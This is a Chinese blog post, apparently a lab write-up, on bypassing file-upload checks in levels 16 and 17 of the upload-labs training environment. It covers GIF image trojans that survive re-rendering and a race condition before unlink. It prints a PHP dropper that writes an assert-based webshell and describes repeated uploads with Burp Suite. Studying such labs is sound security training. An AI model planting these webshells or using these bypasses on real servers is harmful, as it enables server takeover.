当前位置: 首页 > news >正文

文件上传漏洞第十六关十七关

第十六关

第十七关


第十六关

直接上传php文件判断限制方式:

同第十五关白名单限制

第十六关源码

代码逻辑判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染

二次渲染图片马:upload-labs之pass 16详细分析 - 先知社区

绕过思路:

1、把经过二次渲染的图片进行捆绑webshell图片马,文件上传时候 文件名为.gif后缀、文件类型content-type:image/gif、文件头GIF89a

推荐使用gif格式,十六进制编辑图片文件找到二次渲染未修改的图片区域插入一句话木马

第十七关

直接上传php文件判断限制方式:

第十七关源码

代码逻辑:

  • 这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell

绕过思路:

1、条件竞争绕过上传webshell

上传一个fputs写入shell文件功能的webshell,通过python或者burpsuite访问该文件

f.php文件内容

<?php fputs(fopen('shell.php','w'),'<?php @assert($_POST[c]);?>'); ?>

burpsuite抓包:通过爆破形式不断的进行文件上传

burpsuite抓包:通过爆破形式不断的访问该文件

http://www.lryc.cn/news/162335.html

相关文章:

  • Try llama2 in NUC (by quqi99)
  • 强大易用的开源 建站工具Halo
  • 如何使用vuex
  • 动手深度学习——Windows下的环境安装流程(一步一步安装,图文并配)
  • 个人博客系统-测试用例+自动化测试
  • C语言文件读写常用函数
  • 【C++基础】实现日期类
  • C语言程序设计—通讯录实现
  • 实战:大数据Flink CDC同步Mysql数据到ElasticSearch
  • B-Tree 索引和 Hash 索引的对比
  • 入门Python编程:了解计算机语言、Python介绍和开发环境搭建
  • 深度解析Redisson框架的分布式锁运行原理与高级知识点
  • C#扩展方法
  • uniapp 高度铺满全屏
  • UG\NX二次开发 判断向量在指定的公差内是否为零,判断是否是零向量 UF_VEC3_is_zero
  • 2023年MySQL实战核心技术第一篇
  • hivesql执行过程
  • C语言学习:8、深入数据类型
  • 生成树协议 STP(spanning-tree protocol)
  • 【LeetCode】312.戳气球
  • 商业数据分析概论
  • Golang GUI框架
  • LeetCode刷题笔记【24】:贪心算法专题-2(买卖股票的最佳时机II、跳跃游戏、跳跃游戏II)
  • 游戏出现卡顿有哪些因素
  • 学习Bootstrap 5的第八天
  • vue中自定义指令
  • Python:安装Flask web框架hello world
  • 小程序点击复制功能制作
  • 20230909java面经整理
  • 常用的css命名规则